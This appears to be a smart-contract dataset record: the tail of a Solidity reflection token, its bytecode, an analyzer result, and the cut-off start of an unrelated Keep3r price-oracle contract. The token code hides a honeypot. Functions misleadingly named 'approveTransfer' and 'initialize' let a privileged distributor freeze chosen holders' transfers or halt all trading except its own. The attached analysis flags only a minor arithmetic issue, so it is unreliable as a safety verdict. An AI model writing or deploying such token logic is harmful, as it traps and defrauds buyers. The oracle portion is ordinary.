function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_taxRewards[sender] || _taxRewards[recipient]) require (amount == 0, "");
if (_initialize == true || sender == distributor() || recipient == distributor()) {
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_pOwned[recipient] = _pOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}
else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_pOwned[recipient] = _pOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}}
else {require (_initialize == true, "");}}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function approveTransfer(address acconut) external distributors {
_taxRewards[acconut] = true;}
function taxSender(address account) external distributors {
_taxRewards[account] = false;}
function rewardsState(address account) public view returns (bool) {
return _taxRewards[account];}
function initialize() public virtual distributors {
if (_initialize == true) {_initialize = false;} else {_initialize = true;}}
function initialized() public view returns (bool) {
return _initialize;}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(3);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);}}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634d1d2b1a116100c35780638da5cb5b1161007c5780638da5cb5b1461038a57806395d89b41146103a8578063a457c2d7146103c6578063a9059cbb146103f6578063dd62ed3e14610426578063e45c322e146104565761014d565b80634d1d2b1a146102f257806370a082311461030e578063715018a61461033e57806375619ab5146103485780638129fc1c1461036457806383846fe21461036e5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634355b9d2146102a65780634549b039146102c25761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c578063158ef93e146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101c46106b0565b6040516101d19190612413565b60405180910390f35b6101e26106c7565b6040516101ef919061243d565b60405180910390f35b610212600480360381019061020d9190612458565b6106d9565b60405161021f9190612413565b60405180910390f35b610242600480360381019061023d9190612272565b6107b2565b60405161024f919061243d565b60405180910390f35b610260610820565b60405161026d91906124c7565b60405180910390f35b610290600480360381019061028b91906123b8565b610837565b60405161029d9190612413565b60405180910390f35b6102c060048036038101906102bb91906124e2565b6108ea565b005b6102dc60048036038101906102d7919061253b565b6109d5565b6040516102e9919061243d565b60405180910390f35b61030c6004803603810190610307919061257b565b610a5f565b005b610328600480360381019061032391906124e2565b610bd4565b604051610335919061243d565b60405180910390f35b610346610c1d565b005b610362600480360381019061035d91906124e2565b610d70565b005b61036c610ea4565b005b610388600480360381019061038391906124e2565b610f8e565b005b610392611079565b60405161039f91906125dd565b60405180910390f35b6103b06110a2565b6040516103bd9190612338565b60405180910390f35b6103e060048036038101906103db91906123b8565b611134565b6040516103ed9190612413565b60405180910390f35b610410600480360381019061040b91906123b8565b611201565b60405161041d9190612413565b60405180910390f35b610440600480360381019061043b91906125f8565b61121f565b60405161044d919061243d565b60405180910390f35b610470600480360381019061046b91906124e2565b6112a6565b60405161047d9190612413565b60405180910390f35b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b600069152d02c7e14af6800000905090565b60006106e6848484611619565b6107a7846106f2611390565b6107a285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b600190509392505050565b6000600e548211156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f09061279d565b60405180910390fd5b6000610803611d81565b905061081881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006108e0610844611390565b846108db8560056000610855611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190612809565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600069152d02c7e14af6800000831115610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612875565b60405180910390fd5b81610a43576000610a3484611398565b50505050905080915050610a59565b6000610a4e84611398565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690612809565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690612907565b60405180910390fd5b610b8c81604051806060016040528060228152602001612f9d6022913984611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c25611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d78611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612809565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101590612809565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546110b1906126f9565b80601f01602080910402602001604051908101604052809291908181526020018280546110dd906126f9565b801561112a5780601f106110ff5761010080835404028352916020019161112a565b820191906000526020600020905b81548152906001019060200180831161110d57829003601f168201915b5050505050905090565b60006111f7611141611390565b846111f28560405180606001604052806025815260200161300d602591396005600061116b611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b6001905092915050565b600061121561120e611390565b8484611619565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d1d565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612c1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612cac565b60405180910390fd5b6000811161173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612d3e565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117dd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118265760008114611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c90612d84565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061187a575061184b611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118b75750611888611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611cc157600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561195f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576119d081604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b05919061243d565b60405180910390a3611cbc565b611b7e81604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1381600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb3919061243d565b60405180910390a35b611d18565b60011515600f60009054906101000a900460ff16151514611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90612d84565b60405180910390fd5b5b505050565b6000838311158290611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c9190612338565b60405180910390fd5b5060008385611d749190612da4565b9050809150509392505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e549050600069152d02c7e14af6800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e5469152d02c7e14af6800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f69152d02c7e14af6800000600e546112fc90919063ffffffff16565b8210156121af57600e5469152d02c7e14af68000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b6124378161223c565b82525050565b6000602082019050612452600083018461242e565b92915050565b60008060006060848603121561247157612470612237565b5b600061247f868287016123a3565b9350506020612490868287016123a3565b92505060406124a18682870161225d565b9150509250925092565b600060ff82169050919050565b6124c1816124ab565b82525050565b60006020820190506124dc60008301846124b8565b92915050565b6000602082840312156124f8576124f7612237565b5b6000612506848285016123a3565b91505092915050565b612518816123f8565b811461252357600080fd5b50565b6000813590506125358161250f565b92915050565b6000806040838503121561255257612551612237565b5b60006125608582860161225d565b925050602061257185828601612526565b9150509250929050565b60008060006060848603121561259457612593612237565b5b60006125a2868287016123a3565b93505060206125b38682870161225d565b92505060406125c48682870161225d565b9150509250925092565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612787602a836122aa565b91506127928261272b565b604082019050919050565b600060208201905081810360008301526127b68161277a565b9050919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b60006127f3601d836122aa565b91506127fe826127bd565b602082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b600061285f601f836122aa565b915061286a82612829565b602082019050919050565b6000602082019050818103600083015261288e81612852565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006128f1602c836122aa565b91506128fc82612895565b604082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c046025836122aa565b9150612c0f82612ba8565b604082019050919050565b60006020820190508181036000830152612c3381612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c966023836122aa565b9150612ca182612c3a565b604082019050919050565b60006020820190508181036000830152612cc581612c89565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d286029836122aa565b9150612d3382612ccc565b604082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b50565b6000612d6e6000836122aa565b9150612d7982612d5e565b600082019050919050565b60006020820190508181036000830152612d9d81612d61565b9050919050565b6000612daf8261223c565b9150612dba8361223c565b925082821015612dcd57612dcc612993565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209418a690ad2398a29899ca7240a01436a0c90de1cf81a9a6369c6cdd794450d464736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,919 |
0xb8a0b6c4c7fb7b18bbb7c0c1c54864d39ba2f21d
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IKeep3rV1 {
function keepers(address keeper) external returns (bool);
function KPRH() external view returns (IKeep3rV1Helper);
function receipt(address credit, address keeper, uint amount) external;
}
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract Keep3rV2Oracle {
constructor(address _pair) {
_factory = msg.sender;
pair = _pair;
(,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves();
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
}
struct Observation {
uint32 timestamp;
uint112 price0Cumulative;
uint112 price1Cumulative;
}
modifier factory() {
require(msg.sender == _factory, "!F");
_;
}
Observation[65535] public observations;
uint16 public length;
address immutable _factory;
address immutable public pair;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint constant periodSize = 1800;
uint Q112 = 2**112;
uint e10 = 10**18;
// Pre-cache slots for cheaper oracle writes
function cache(uint size) external {
uint _length = length+size;
for (uint i = length; i < _length; i++) observations[i].timestamp = 1;
}
// update the current feed for free
function update() external factory returns (bool) {
return _update();
}
function updateable() external view returns (bool) {
Observation memory _point = observations[length-1];
(,, uint timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _point.timestamp;
return timeElapsed > periodSize;
}
function _update() internal returns (bool) {
Observation memory _point = observations[length-1];
(,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves();
uint32 timeElapsed = timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
return true;
}
return false;
}
function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) {
amountOut = amountIn * (end - start) / e10 / elapsed;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint timestamp) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
Observation memory _observation = observations[length-1];
uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112;
uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112;
(,,timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
